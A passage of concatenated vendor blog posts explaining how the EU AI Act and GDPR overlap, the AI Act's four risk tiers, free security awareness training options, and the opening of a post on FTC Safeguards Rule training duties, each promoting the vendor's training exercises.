2016/679) governs how organizations handle personal data, while the AI Act (Regulation 2024/1689) governs AI systems by risk level. A high-risk AI system that processes personal data must satisfy both, so the AI Act adds duties on top of GDPR rather than replacing them. In practice this means GDPR keeps doing its job. Lawful basis, data minimization, purpose limitation, and data subject rights all still apply to the personal data an AI system reads or produces. The AI Act then layers on AI-specific duties such as risk management, human oversight, and transparency. The result is two obligations running in parallel, not one canceling the other. When the two overlap, you satisfy the stricter requirement, because clearing the higher bar clears the lower one too. ## Where do the EU AI Act and GDPR overlap? The overlap is concentrated in a handful of areas, and most of them sit inside any project that uses personal data to train or run a model. The clearest way to see it is side by side. | Topic | GDPR duty | EU AI Act duty | |-------|-----------|----------------| | Impact assessment | DPIA for high-risk processing (Article 35) | FRIA for certain high-risk deployers (Article 27) | | Data quality and governance | Accuracy and minimization principles (Article 5) | Data governance for high-risk systems (Article 10) | | Records | Records of processing activities (Article 30) | Technical documentation and logging | | Transparency | Inform data subjects (Articles 13 and 14) | Disclose AI interaction and synthetic content (Article 50) | | International transfers | Chapter V safeguards | No separate transfer regime; GDPR governs the data | | Incident duty | Personal data breach notification (Articles 33 and 34) | Serious incident reporting for high-risk systems | The pattern is consistent. GDPR governs the data inside the system, and the AI Act governs the system that acts on the data. The [AI and data protection exercise](/exercises/ai-and-data-protection/) runs a healthcare model through both regimes at once so teams can feel where the duties meet. ## DPIA vs FRIA: do you need both? Often yes. A Data Protection Impact Assessment under GDPR Article 35 looks at the risk a processing activity poses to people's data rights. A Fundamental Rights Impact Assessment under AI Act Article 27 looks at the broader risk a high-risk AI system poses to fundamental rights, and it applies to public bodies and certain high-risk deployers before first use. They ask different questions about the same system. A DPIA asks whether the data processing is lawful, proportionate, and protected. A FRIA asks whether the deployed system could harm rights like non-discrimination, dignity, or access to services. The smart move is to run them as one mapped exercise rather than two disconnected forms. The [GDPR data protection impact assessment exercise](/exercises/gdpr-data-protection-impact-assessment/) trains the DPIA half, and the [fundamental rights impact assessment exercise](/exercises/fundamental-rights-impact-assessment/) trains the FRIA half, so a team sees how one feeds the other instead of duplicating work. ## How does AI data governance build on GDPR records of processing? It builds on the inventory you should already have. GDPR Article 30 requires records of processing activities, a documented map of what personal data you hold, why, and where it flows. AI Act Article 10 then requires high-risk systems to use training and input data that is relevant, representative, and governed for quality. You cannot govern AI data you have never mapped. A model trained on a dataset nobody documented is a model nobody can audit, which fails both laws in one shot. The records you keep for GDPR become the foundation an AI inventory sits on. This is why an honest data map pays off twice. The [GDPR data mapping and records of processing exercise](/exercises/gdpr-data-mapping-and-records-of-processing/) trains the Article 30 discipline, and the [AI data governance exercise](/exercises/ai-data-governance/) extends it to training sets, so the same map serves your privacy office and your AI governance owner. ## Do GDPR cross-border transfer rules apply to AI training data? Yes, and the AI Act does not change them. The AI Act has no separate transfer regime, so when AI training data contains personal data and moves outside the EU, GDPR Chapter V governs the move. That means an adequacy decision, standard contractual clauses, or another valid safeguard. This catches teams off guard with cloud-hosted models. Sending European personal data to a model endpoint in another region is a transfer, even when the data is "just" being used to fine-tune or run inference. The AI label does not exempt the data from Chapter V. The fix is to treat AI vendors like any other processor and check where the data actually lands. The [GDPR cross-border data transfers exercise](/exercises/gdpr-cross-border-data-transfers/) walks teams through validating a transfer before personal data leaves the bloc, which is exactly the gap an AI procurement decision tends to miss. ## How do breach and AI-incident duties line up? They sit next to each other and can both fire from a single event. GDPR Articles 33 and 34 require notifying the supervisory authority, and sometimes the affected people, after a personal data breach. The AI Act adds a serious incident reporting duty for high-risk systems, aimed at malfunctions and harms rather than data exposure. One incident can trigger both clocks. If a high-risk AI system malfunctions and that malfunction also exposes personal data, you may owe a GDPR breach notification and an AI Act incident report on overlapping timelines. Response teams need to know both duties exist before the incident, not during it. The [GDPR security incident response exercise](/exercises/gdpr-security-incident-response/) rehearses the breach-notification clock under pressure, and pairing that muscle memory with AI-incident awareness keeps a single event from becoming two missed deadlines. ## Can one training program cover both laws? Yes, and it is the more defensible choice. Because the AI Act and GDPR overlap so heavily, separate privacy and AI tracks teach the same data-handling habits twice while leaving the seams between them untrained. A mapped program teaches the shared core once and then branches into the law-specific duties. The shared core is data discipline. Knowing what personal data you hold, why you hold it, and how it flows is the prerequisite for a DPIA, a FRIA, a records inventory, and AI data governance alike. Train that once and most of both regulations becomes reachable. The branches are where each law goes its own way. The [privacy and compliance catalogue](/catalogue/privacy-compliance/) carries GDPR scenarios next to the EU AI Act course, so a single learning path can cover data subject rights and AI risk controls without sending people through two unrelated curricula. ## How RansomLeak trains the AI Act and GDPR overlap RansomLeak teaches the overlap as connected scenarios rather than two siloed courses. The EU AI Act course and the GDPR course share a data-governance spine, so a learner who understands records of processing already has the footing for AI data governance, and a learner who has run a DPIA can see how a FRIA extends it. Every module exports as SCORM for the LMS an auditor will inspect, which matters when you need to show that the people operating AI on personal data were actually trained on both regimes. For the regulations end to end, the [EU AI Act training guide](/compliance/eu-ai-act/) and the [GDPR training guide](/compliance/gdpr/) map each obligation to a specific exercise. The deeper background lives in two companion posts. Our [EU AI Act risk categories guide](/blog/eu-ai-act-risk-categories/) explains the four-tier model that decides which AI duties apply, and the [EU AI Act compliance deadlines guide](/blog/eu-ai-act-compliance-deadlines/) lays out the staged dates. On the privacy side, a solid [GDPR employee training program](/blog/gdpr-employee-training/) and the underlying [GDPR data protection principles](/blog/gdpr-data-protection-principles/) cover the data handling that high-risk AI depends on. If you want one mapped path across both laws, explore our [compliance training programs](/blog/compliance-training/) or [book a walkthrough](/contact-us/) with our team. ## Frequently asked questions ### Does the EU AI Act replace GDPR? No. The EU AI Act sits on top of GDPR and adds AI-specific duties such as risk management, human oversight, and transparency. GDPR still governs every piece of personal data your AI system reads or produces, so the two apply at the same time rather than one superseding the other. ### What is the difference between a DPIA and a FRIA? A DPIA under GDPR Article 35 assesses the risk a processing activity poses to people's data protection rights. A FRIA under AI Act Article 27 assesses the broader risk a high-risk AI system poses to fundamental rights, and it applies to public bodies and certain high-risk deployers before first use. Many high-risk AI projects need both. ### Do GDPR rules apply to AI training data? Yes, whenever the training data includes personal data. Lawful basis, data minimization, and data subject rights all apply to that data, and moving it outside the EU still triggers GDPR Chapter V transfer safeguards. The AI Act adds data governance duties on top but does not switch off GDPR. ### Which law takes priority when the EU AI Act and GDPR overlap? Neither overrides the other. Where their requirements overlap, you satisfy the stricter one, because clearing the higher bar also clears the lower. The AI Act explicitly preserves data protection law, so the safe reading is to treat both sets of duties as live at once. ### Can the same incident trigger both a GDPR breach notice and an AI Act report? Yes. If a high-risk AI system malfunctions and that malfunction also exposes personal data, you may owe a GDPR breach notification under Articles 33 and 34 and a serious incident report under the AI Act. The two duties run on overlapping timelines, so response teams should plan for both before an incident happens. ### Do small businesses get any relief under these rules? GDPR scales some duties to risk and scope, and the AI Act sets penalty caps that take the lower of two values for SMEs. The substantive duties still apply, though. A small company running a high-risk AI system on personal data owes the same core controls as a large one, just with proportionate penalty exposure. ## Bottom line The EU AI Act and GDPR are not competing rulebooks. GDPR governs the personal data, the AI Act governs the system that acts on it, and a high-risk project that touches personal data has to clear both at once. Treating them as one mapped program is the efficient and defensible path. Build the data map once, branch into DPIA and FRIA, records and AI data governance, breach and incident duties, and train the people who operate AI on both regimes rather than either alone. If you want scenario-based training that covers the AI Act and GDPR together, explore the [privacy and compliance catalogue](/catalogue/privacy-compliance/) or [talk to our team](/contact-us/). ## Sources - [Regulation (EU) 2024/1689 (AI Act) - Official Journal](https://eur-lex.europa.eu/eli/reg/2024/1689/oj) - [Regulation (EU) 2016/679 (GDPR) - Official Journal](https://eur-lex.europa.eu/eli/reg/2016/679/oj) - [European Commission: AI Act regulatory framework](https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai) - [European Data Protection Board](https://www.edpb.europa.eu/edpb_en) - [EU AI Office](https://digital-strategy.ec.europa.eu/en/policies/ai-office) --- ### EU AI Act Risk Categories: The 4 Levels Explained Source: https://ransomleak.com/blog/eu-ai-act-risk-categories/ The EU AI Act does not treat every AI system the same way. It uses a risk-based design, so the obligations on a spam filter look nothing like the obligations on a CV-screening tool or a credit-scoring model. That single decision, which risk category your system falls into, drives almost everything else: the controls you owe, the documentation you keep, and the size of the fine if you get it wrong. ## What are the EU AI Act risk categories? The EU AI Act sorts every AI system into four risk categories: unacceptable risk (banned outright), high risk (heavily regulated), limited risk (transparency duties), and minimal risk (no extra rules). The category decides which obligations apply. Most everyday business tools land in limited or minimal risk, but the level has to be checked for each deployment. The four levels are often drawn as a pyramid, with the smallest group of banned systems at the top and the large majority of harmless systems at the base. The table below summarizes what each tier means. | Risk level | What it means | Examples | Core obligation | |------------|---------------|----------|-----------------| | Unacceptable | Banned under Article 5 | Social scoring, untargeted facial scraping, workplace emotion recognition | Cannot be placed on the market | | High | Heavily regulated (Annex III and Annex I) | CV screening, credit scoring, medical triage, biometric ID | Risk management, data governance, human oversight, FRIA | | Limited | Transparency duties (Article 50) | Chatbots, deepfakes, emotion recognition | Disclose AI interaction and synthetic content | | Minimal | No extra obligations | Spam filters, AI in games, inventory forecasting | Article 4 literacy only | ## What are unacceptable-risk (prohibited) AI practices? Unacceptable-risk systems are banned outright. Article 5 lists eight categories of AI practice that cannot be placed on the EU market or put into service at all, because the risk to fundamental rights is judged too high to manage with controls. The banned categories include subliminal or manipulative techniques that distort behavior, exploitation of vulnerabilities tied to age or disability, social scoring by public authorities, and untargeted scraping of facial images to build recognition databases. They also cover emotion recognition in workplaces and schools, biometric categorization by sensitive attributes, and most real-time remote biometric identification in public spaces by law enforcement. This tier carries the highest penalty in the regulation, up to €35 million or 7% of global annual turnover. Recognizing a prohibited use before a product ships is a procurement and product-team skill, which is exactly what the [prohibited AI practices exercise](/exercises/prohibited-ai-practices/) trains. ## What counts as a high-risk AI system? High-risk systems are allowed, but only under the strictest controls in the Act. A system is high-risk if it appears in Annex III or if it is a safety component of a product already regulated under EU law in Annex I. Annex III lists eight domains: biometrics, critical infrastructure, education, employment, essential public and private services, law enforcement, migration and border control, and the administration of justice. A resume-screening tool, a credit-scoring model, and a medical triage system are textbook high-risk examples because they make or support decisions that affect people's livelihoods, safety, or rights. Most organizations are deployers of several high-risk systems without realizing it. The [high-risk AI deployer obligations exercise](/exercises/high-risk-ai-obligations/) walks through the seven compliance areas that decide whether a high-risk launch is ready or should be blocked. ## What obligations apply to high-risk AI systems? High-risk systems carry the deepest obligation set in the regulation. Providers must build risk management, data governance, logging, transparency, and post-market monitoring into the system, and deployers must operate it under defined controls. Human oversight is central. Article 14 requires high-risk systems to be designed so a person can understand, monitor, and override them, and the [meaningful human oversight exercise](/exercises/meaningful-human-oversight/) rehearses overriding an AI recommendation when the evidence does not match. Data governance matters just as much, because a biased or leaky training set produces a non-compliant system, a risk the [AI data governance exercise](/exercises/ai-data-governance/) makes concrete. Two further duties apply to specific deployers. Public bodies and certain high-risk operators must run a Fundamental Rights Impact Assessment before first use, covered in the [FRIA exercise](/exercises/fundamental-rights-impact-assessment/). And because discrimination is a frequent failure mode, the [AI bias and discrimination exercise](/exercises/ai-bias-and-discrimination/) shows how proxy variables hide inside a resume-screening model. ## What are limited-risk AI systems? Limited-risk systems are subject to transparency duties rather than the full high-risk regime. The concern here is that people should know when they are dealing with AI or AI-generated content. Article 50 covers this tier. Systems that interact with people, such as chatbots, must disclose that a person is talking to a machine unless it is obvious. Providers of systems that generate synthetic audio, image, or video must mark the output as artificial, and deployers who create deepfakes must disclose that the content is generated or manipulated. Getting these disclosures right is mostly an operational task rather than a legal one. The [AI transparency and disclosure exercise](/exercises/ai-transparency-and-disclosure/) trains teams to label chatbots and synthetic media correctly under Article 50. ## What is minimal-risk AI? Minimal-risk systems make up the large majority of AI in use today, and they carry no obligations beyond the baseline. Spam filters, AI in video games, inventory forecasting, and recommendation features generally sit here. The only duty that still applies is the Article 4 AI literacy requirement, which reaches every provider and deployer regardless of tier. Staff who use even minimal-risk tools should understand what the system can and cannot do. The catch is that classification is not permanent. A minimal-risk tool repurposed for a high-stakes decision can move up a tier, which is why the level has to be reviewed whenever a system's use changes. ## How do you classify an AI system's risk level? Classification starts with the intended purpose of the system, not its underlying technology. The same model can be minimal-risk in one deployment and high-risk in another, so the question is always what the system is used to decide. Work top down through the tiers, and the first match decides the classification: 1. Is the use banned under Article 5? If yes, it is unacceptable-risk and cannot proceed. 2. Does it appear in Annex III, or sit inside an Annex I regulated product? If yes, it is high-risk. 3. Does it trigger Article 50 transparency duties, such as a chatbot or deepfake? If yes, it is limited-risk. 4. Anything left over is minimal-risk. The [AI risk classification exercise](/exercises/ai-risk-classification/) puts real deployments through exactly this sorting process, which is the single most useful skill for anyone building an AI inventory. For the deadlines that attach to each tier, see our [EU AI Act timeline guide](/blog/eu-ai-act-compliance-deadlines/). ## Who classifies the risk: provider or deployer? Both have a role, and confusing the two is a common compliance gap. A provider develops the AI system or has it developed and places it on the market, while a deployer uses the system under its own authority in a professional setting. A compliant product from a provider does not make your deployment compliant. The provider classifies and documents the system it sells, but the deployer is responsible for how it is actually used, including human oversight, monitoring, and any fundamental-rights assessment. The [provider versus deployer exercise](/exercises/provider-vs-deployer/) makes this split concrete with a realistic scenario. Most enterprises are deployers of many systems and providers of a few. Mapping which role you play for each system is part of building a defensible AI inventory, a task we cover in the [EU AI Act timeline guide](/blog/eu-ai-act-compliance-deadlines/). ## How do AI risk categories interact with GDPR? The AI Act and GDPR apply at the same time, and a high-risk AI system that processes personal data has to satisfy both. The risk category under the AI Act does not replace your data protection obligations; it sits on top of them. A high-risk system that profiles people will often trigger a GDPR Data Protection Impact Assessment alongside the AI Act's Fundamental Rights Impact Assessment. Lawful basis, data minimization, and data subject rights all still apply. The [AI and data protection exercise](/exercises/ai-and-data-protection/) runs a healthcare AI through both regimes at once so teams see where the duties overlap and where they differ. This overlap is why a single, mapped training program is more efficient than separate tracks. A solid [GDPR employee training program](/blog/gdpr-employee-training/) already covers data handling that high-risk AI depends on, and uncontrolled tools surfaced by [shadow AI](/blog/shadow-ai/) often breach both regimes at once. ## How RansomLeak trains EU AI Act risk classification RansomLeak turns the risk-based framework into role-based scenarios rather than slide decks. The dedicated EU AI Act course covers all four tiers, the classification process, and the obligations that attach to each level, and every module exports as SCORM for the LMS an auditor will inspect. The [privacy and compliance catalogue](/catalogue/privacy-compliance/) carries the full EU AI Act course next to GDPR scenarios, and the [AI security catalogue](/catalogue/ai-security/) covers the prompt injection, deepfake, and LLM risks that overlap with the [OWASP LLM Top 10](/blog/owasp-llm-top-10/). For the regulation end to end, our [EU AI Act training guide](/compliance/eu-ai-act/) maps each obligation to a specific exercise. If you want to see how scenario-based training maps to the four risk tiers, [book a walkthrough](/contact-us/) with our team. ## Frequently asked questions ### What are the four risk levels of the EU AI Act? The EU AI Act defines four risk levels: unacceptable risk (prohibited systems banned under Article 5), high risk (heavily regulated systems in Annex III and Annex I), limited risk (systems with Article 50 transparency duties such as chatbots and deepfakes), and minimal risk (everything else, with no obligations beyond Article 4 AI literacy). The level decides which obligations apply. ### What is an example of a high-risk AI system? Common high-risk examples include AI used to screen job applicants, score creditworthiness, support medical triage, or run biometric identification. These appear in Annex III because they make or support decisions that affect people's livelihoods, safety, or fundamental rights. AI used as a safety component in a regulated product such as a medical device is also high-risk. ### What AI practices are banned under the EU AI Act? Article 5 bans eight categories, including manipulative or exploitative systems, social scoring by public authorities, untargeted scraping of facial images, emotion recognition in workplaces and schools, biometric categorization by sensitive attributes, and most real-time remote biometric identification in public spaces by law enforcement. These cannot be placed on the EU market and carry the highest penalty tier. ### Who decides the risk category of an AI system? The provider classifies and documents the system it places on the market, but the deployer remains responsible for how the system is used. A compliant product does not guarantee a compliant deployment. Both should classify by intended purpose, working top down from prohibited to high-risk to limited-risk to minimal-risk. ### Does the risk category ever change? Yes. Classification depends on the intended purpose, so a system can move tiers when its use changes. A minimal-risk tool repurposed for a high-stakes decision can become high-risk, which is why the classification should be reviewed whenever a system's deployment changes. ### What happens if you misclassify a high-risk AI system? Treating a high-risk system as limited or minimal risk means skipping the controls the Act requires, which is non-compliance. Penalties for breaching most obligations reach up to €15 million or 3% of global annual turnover, and breaching the Article 5 ban reaches €35 million or 7%. Accurate classification is the control that prevents both. ## Bottom line The EU AI Act is built around four risk levels, and the level you assign to a system decides everything that follows. Unacceptable-risk systems are banned, high-risk systems carry the heaviest controls, limited-risk systems owe transparency, and minimal-risk systems owe only AI literacy. Classification is a skill, not a one-time form. Sort by intended purpose, work top down, map your provider and deployer roles, and review the level whenever a system's use changes. If your organization operates AI in Europe and wants scenario-based training on each risk tier, explore the [privacy and compliance catalogue](/catalogue/privacy-compliance/) or [talk to our team](/contact-us/). ## Sources - [Regulation (EU) 2024/1689 (AI Act) - Official Journal](https://eur-lex.europa.eu/eli/reg/2024/1689/oj) - [European Commission: AI Act regulatory framework](https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai) - [European Parliament: EU AI Act and risk levels](https://www.europarl.europa.eu/topics/en/article/20230601STO93804/eu-ai-act-first-regulation-on-artificial-intelligence) - [EU AI Office](https://digital-strategy.ec.europa.eu/en/policies/ai-office) --- ### Free Security Awareness Training Compared Source: https://ransomleak.com/blog/free-security-awareness-training/ Budget constraints are real. Whether you're a startup founder, a small business owner, or an IT manager at a company that hasn't yet prioritized security training investment, you need options that don't require five-figure commitments. Good news: legitimate free [security awareness training](/blog/security-awareness-training-guide/) exists. It won't match enterprise platforms with dedicated customer success teams and unlimited customization, but it can meaningfully improve your organization's security posture. This guide separates genuinely useful free resources from marketing traps, explains what free options can and can't do, and helps you decide when free is enough and when it isn't. Free is a starting point. For comprehensive program design, see our [Security Awareness Training Guide](/blog/security-awareness-training-guide/); for paid-tier benchmarking, see the [best platforms ranked for 2026](/blog/best-security-awareness-training-2026/) and the [pricing buyer guide](/blog/security-awareness-training-pricing/). ## What "free" actually means in security training Before looking at specific resources, understand the business models behind free offerings. Freemium models give you a limited free tier designed to demonstrate value and convert you to a paid plan. These often restrict user counts, features, or content access. You're the product demo. Government and nonprofit resources are genuinely free educational content funded by taxpayers or organizational missions. Quality varies, but there's no sales funnel waiting at the end. Marketing-driven content is free on the surface but designed primarily to capture leads. The training tends to be superficial, with the real substance locked behind paywalls. Open source projects are community-developed resources available without cost. They often require technical expertise to deploy. If you're interested in that route, check our [guide to open source LMS platforms for security training](/blog/open-source-lms-security-training/), or download ready-to-import modules from our [open-source security awareness training library](/open-source-security-awareness-training/): 100+ free SCORM packages on GitHub. Each model has implications for what you'll actually receive and what strings come attached. ## RansomLeak free exercise library Let's address the elephant in the room: we offer a [free interactive exercise library](/catalogue/) and you're reading our blog. Here's the honest breakdown. The free library includes interactive 3D [phishing simulations](/blog/phishing-simulation-training/), [social engineering](/blog/social-engineering-attacks/) awareness scenarios, basic security fundamentals exercises, and no registration required to try any of it. What's not included: the full course library (premium only), [SCORM packages](/blog/scorm-security-training/) for LMS integration, analytics and completion tracking, custom branding, and dedicated support. Why we do this: we believe people should experience quality security training before buying. Our free exercises demonstrate what's possible with interactive simulations versus passive video content. Some organizations will never need more than free resources. Others will see the difference and choose to invest in comprehensive solutions. No guilt trips. No aggressive sales follow-up. Just quality free resources. ## Government and nonprofit free training Several government agencies and nonprofits provide legitimate free security awareness resources. ### CISA (Cybersecurity and Infrastructure Security Agency) The U.S. government's cybersecurity agency offers [free training courses](https://www.cisa.gov/free-cybersecurity-services-and-tools) covering security fundamentals, [phishing awareness](/blog/phishing-detection/) materials for organizational use, industry-specific guidance for critical infrastructure sectors, and tabletop exercise packages for incident response practice. CISA is best for organizations seeking credible, vendor-neutral content backed by government expertise. The limitation? Content can be dry and government-focused. No interactive simulations. No engagement features. Employees will complete it because they have to, not because they want to. ### SANS Security Awareness (free tier) SANS, known for technical security training, offers free security awareness resources for community use, poster and [newsletter templates](https://www.sans.org/newsletters/ouch/), and basic training modules on common threats. Best for organizations with technical audiences who respect the SANS brand. The free tier is limited though. Premium content requires significant investment. ### National Cyber Security Alliance [StaySafeOnline.org](https://staysafeonline.org/) provides consumer-focused security guidance, small business security resources, and annual awareness campaign materials for [Cybersecurity Awareness Month](https://www.cisa.gov/cybersecurity-awareness-month). Best for small organizations seeking basic, accessible content. The big gap: it's consumer-oriented and may not address enterprise concerns like [business email compromise](/blog/bec-training/), targeted [whaling attacks](/blog/what-is-whaling-cybersecurity/), or [vishing](/blog/vishing-awareness/). ## Free vs. paid: an honest comparison | Capability | Free resources | Paid platforms | |------------|---------------|----------------| | Basic security content | Usually adequate | Comprehensive | | Interactive simulations | Limited/none | Extensive | | Phishing simulation tools | Rarely included | Core feature | | LMS integration (SCORM) | Rarely | Standard | | Progress tracking | Basic/none | Detailed analytics | | Role-based training paths | No | Yes | | Customization | Minimal | Extensive | | Regular content updates | Inconsistent | Continuous | | Support | Community/self-service | Dedicated | The table tells the story clearly. Free resources cover the basics. Paid platforms cover everything else. ## When is free security training enough? Free security awareness training may be sufficient in a few specific scenarios. Your organization is small, under 25 employees. Administrative overhead of enterprise platforms isn't justified at that size. You can personally follow up on training completion. Individual attention compensates for platform limitations. You're establishing baseline awareness. Your employees have never received any security training. Literally anything is better than the current state (which is nothing). You're building the case for future investment and need data to show leadership. You have technical capability. Your IT staff can deploy [open source solutions](/blog/open-source-lms-security-training/). You can build custom training using free content. Integration with existing systems isn't a requirement right now. Compliance isn't driving requirements. You're not subject to regulations mandating specific training documentation. Audit records aren't a primary concern. "We did training" is sufficient for your stakeholders. ## When do you need paid security training? Consider paid solutions when scale matters. Training hundreds or thousands of employees across multiple locations or a distributed workforce makes manual tracking a nightmare. The administrative burden alone justifies platform costs. When compliance requires documentation, you need paid. Regulations mandate training records. Auditors expect completion reports. Liability concerns require provable training delivery. Free tools don't generate the paper trail you need for [compliance](/blog/compliance-training/). When phishing simulation is part of the plan, free falls short fast. You need to measure actual employee vulnerability. Continuous testing is required for improvement. [Simulated attacks](/blog/phishing-simulation-training/) must appear legitimate, not like obvious tests. When behavior change is the actual goal, passive awareness doesn't translate to action. You need engagement features like gamification and competitions. Interactive scenarios build skills that reading PDFs never will. That's the difference between [training that works and training that checks a box](/blog/security-awareness-training-effectiveness/). When integration is required, training must connect to your existing LMS, single sign-on is necessary for adoption, and reporting must feed into security dashboards. Free tools almost never support this. ## How do you maximize value from free training resources? If free resources fit your current needs, here's how to squeeze the most out of them. ### Create a structured program Don't just share random links. Build a coherent curriculum. Start with foundation material on basic security principles everyone needs. Move to threat-specific content on [phishing](/blog/phishing-detection/), [social engineering](/blog/social-engineering-attacks/), and password security. Add role-specific training for high-risk positions. Then establish ongoing reinforcement and updates. ### Supplement with internal content Generic free content becomes more relevant with organizational context. Add examples using your company's actual systems and processes. Include your specific policies and procedures. Reference recent industry incidents affecting similar organizations. Feature real (anonymized) near-misses from your own organization. Those real stories land harder than any generic training module ever will. ### Track what you can Even without platform analytics, measure something. Training completion (even if manually tracked in a spreadsheet), quiz scores if resources include assessments, incident rates before and after training, and employee feedback on comprehension. Bad data beats no data when you're building the case for future investment. ### Establish reinforcement cadence Annual training isn't enough. [Research on training effectiveness](/blog/security-awareness-training-effectiveness/) is clear on this point. Create ongoing touchpoints: monthly security tips via email or Slack, quarterly focused training on specific threats, real-time alerts when relevant threats emerge, and regular reminders of reporting procedures. ## What free phishing simulation options exist? Phishing simulation is the most impactful training component. It's also the hardest to get for free. ### Gophish (open source) A legitimate open source phishing simulation platform. It's fully featured with no per-user licensing costs and you get complete control over data. The tradeoffs: it requires technical expertise to deploy, support is limited to community forums, you're responsible for email deliverability (which is its own headache), and there's no pre-built training content. When someone clicks a simulated [phishing link](/blog/phishing-simulation-training/), Gophish tells you they clicked. What happens next, the actual training moment, is up to you. Best for organizations with technical staff willing to invest setup time. ### Limited free tiers from paid platforms Several vendors offer restricted free access with limited user counts (often 25 to 50 users), limited simulation frequency, basic reporting only, and expected sales follow-up. These work for evaluating platforms before purchase or for very small organizations. Just know you're in a sales pipeline. ## How do you build the case for training investment? If free resources are a stepping stone to proper investment, gather evidence strategically. Quantify current risk by documenting [phishing emails](/blog/email-security-training/) that reached employees, noting [security incidents involving human error](https://www.verizon.com/business/resources/reports/dbir/), researching breach costs in your industry, and calculating potential liability exposure. Demonstrate free tier limitations by showing tracking gaps that prevent compliance documentation, identifying engagement issues with passive content, documenting administrative time spent on manual processes, and noting security gaps free resources don't address (like [smishing](/blog/what-is-smishing-cybersecurity/), [vishing](/blog/vishing-awareness/), or [barrel phishing](/blog/barrel-phishing/)). Compare training costs against the average breach cost in your industry ($4.88 million globally, per [IBM's 2024 Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach)), incident response and recovery costs, regulatory fine exposure, and reputation damage potential. Even modest training investments show favorable ROI against these risks. ## Transitioning from free to paid When you're ready to upgrade, preserve what worked. Note which free content resonated with employees. Keep reinforcement cadences that proved effective. Maintain cultural elements that drove engagement. Address the gaps you documented. Prioritize features that free resources lacked. Focus on measurable improvements to existing weaknesses. Make sure the new platform solves actual problems, not theoretical ones. Plan for adoption. Communicate the change to employees. Allow a learning curve with the new platform. Compare metrics before and after transition. [Evaluate the alternatives carefully](/blog/knowbe4-alternatives/) rather than going with the first vendor who demos well. ## Start somewhere Free security awareness training is a legitimate starting point. Government resources, nonprofit content, and vendor free tiers can meaningfully improve security posture when budgets are constrained. But free has limits. It lacks the engagement features, simulation capabilities, analytics, and support that drive sustained [behavior change](/blog/human-firewall-training/) at scale. The question isn't "free or paid?" It's "free for now, or paid now?" Start with quality free resources. Measure what you can. Build the case for investment. When you're ready, transition to solutions that match your organizational maturity. --- *Experience the difference between passive and interactive security training. Try our free [Phishing](/exercises/phishing/), [Social Engineering](/exercises/social-engineering/), [Smishing](/exercises/smishing/), or [Vishing](/exercises/vishing/) exercises. No registration, no credit card, no sales pitch. Browse our full [training catalogue](/catalogue/) for 60+ exercises across [security awareness](/catalogue/security-awareness/), [privacy & compliance](/catalogue/privacy-compliance/), and [AI security](/catalogue/ai-security/).* --- ### FTC Safeguards Rule Training (2026) Source: https://ransomleak.com/blog/ftc-safeguards-rule-training/ The FTC Safeguards Rule at 16 CFR Part 314 requires non-bank financial institutions to maintain a written information security program, and that program must include security awareness training plus specialized training for the personnel responsible for it. The amended rule became fully enforceable on June 9, 2023, and it reaches well beyond banks. Auto dealers, mortgage brokers, tax preparers, retailers offering in-house financing, collection agencies, and investment advisors all fall inside the FTC's definition of a "financial institution." Many of them spent 2023 and 2024 scrambling to document training programs their compliance teams had assumed were already in place. ## What is the FTC Safeguards Rule? The Safeguards Rule is the FTC's implementation of Section 501(b) of the Gramm-Leach-Bliley Act (GLBA). GLBA required every federal functional regulator to issue safeguards rules for the institutions they oversee. The FTC is the regulator for non-bank financial institutions, so its rule at 16 CFR Part 314 sets the standard for everyone not already covered by the OCC, Federal Reserve, FDIC, NCUA, SEC, or CFPB. The original Safeguards Rule took effect in 2003. It required a written information security program, a risk assessment, and reasonable safeguards, but the text was flexible enough that enforcement was inconsistent and many small financial institutions treated compliance as informal. In December 2021 the FTC published an amended Safeguards Rule (86 FR 70272) that tightened the requirements significantly. The compliance deadline was extended twice. Most of the rule became fully enforceable on June 9, 2023. Section 314.5, which covers notifications of security events involving 500 or more consumers to the FTC, became effective May 13, 2024. ## Who must comply? The Safeguards Rule applies to "financial institutions" over which the FTC has jurisdiction. The FTC defines financial institution broadly, and that broad definition is the source of most of the compliance surprise in the 2023 rollout. Covered entities include: - Auto dealers that extend credit or arrange financing - Mortgage brokers and lenders not supervised by another federal regulator - Tax preparation firms and CPAs that prepare consumer returns - Retailers offering in-house credit or installment plans - Collection agencies, check cashers, money transmitters, and payday lenders - Finance companies and consumer lenders - Investment advisors not registered with the SEC - Real estate and personal property appraisers - Credit counselors and career counselors serving financial services FINRA-registered broker-dealers and SEC-registered investment advisors are supervised by the SEC under Regulation S-P rather than by the FTC, though Reg S-P was amended in 2024 to look more like the FTC rule. The 2021 amendments added a size carve-out at §314.6: institutions maintaining information on fewer than five thousand consumers are exempt from the written risk assessment, the qualified individual board reporting, the incident response plan, and the written risk-assessment-based monitoring. All other provisions, including training, still apply. ## Training requirements under §314.4(e) The training obligation sits inside §314.4, which lists the nine elements of a compliant information security program. Element (e) requires the entity to provide security awareness training and updates to personnel as necessary, and to utilize qualified information security personnel provided with security updates and training sufficient to address relevant security risks. This wording creates two training tracks. The first is security awareness training for all personnel. The second is specialized, ongoing training for qualified information security personnel, which in most organizations means the Qualified Individual designated under §314.4(a) and any information security staff reporting to that person. FTC guidance confirms that training must be appropriate to the role and keep pace with the threat landscape. Static annual training that has not been updated for current threats does not satisfy §314.4(e). ## The 9 required elements of an information security program Section §314.4 lists the nine elements a compliant program must contain. Training at (e) is one of nine interlocking obligations. | Element | Citation | Summary | |---------|----------|---------| | Qualified Individual | §314.4(a) | Designate a single individual responsible for the program | | Written Risk Assessment | §314.4(b) | Document risks to customer information and the safeguards in place | | Safeguards to Control Risks | §314.4(c) | Implement encryption, access controls, MFA, change management, disposal | | Testing and Monitoring | §314.4(d) | Continuous monitoring or annual penetration testing plus biannual vulnerability assessment | | Personnel Training | §314.4(e) | Security awareness training and specialized training for qualified personnel | | Service Provider Oversight | §314.4(f) | Vet and contract with service providers; periodic reassessment | | Program Evaluation and Adjustment | §314.4(g) | Revise the program based on test results, risk changes, and incidents | | Written Incident Response Plan | §314.4(h) | Internal processes, roles, communication, and documentation for incidents | | Reporting to Governance | §314.4(i) | Qualified Individual reports in writing at least annually to the board or equivalent | Training maps primarily to (e), but elements (a), (f), (h), and (i) all produce trainable moments. The Qualified Individual needs governance-level training. Service provider oversight requires procurement training. Incident response requires drills. ## Penalties for non-compliance The FTC enforces the Safeguards Rule primarily under Section 5 of the FTC Act. Civil penalties per violation adjust annually for inflation under the Federal Civil Penalties Inflation Adjustment Act. The 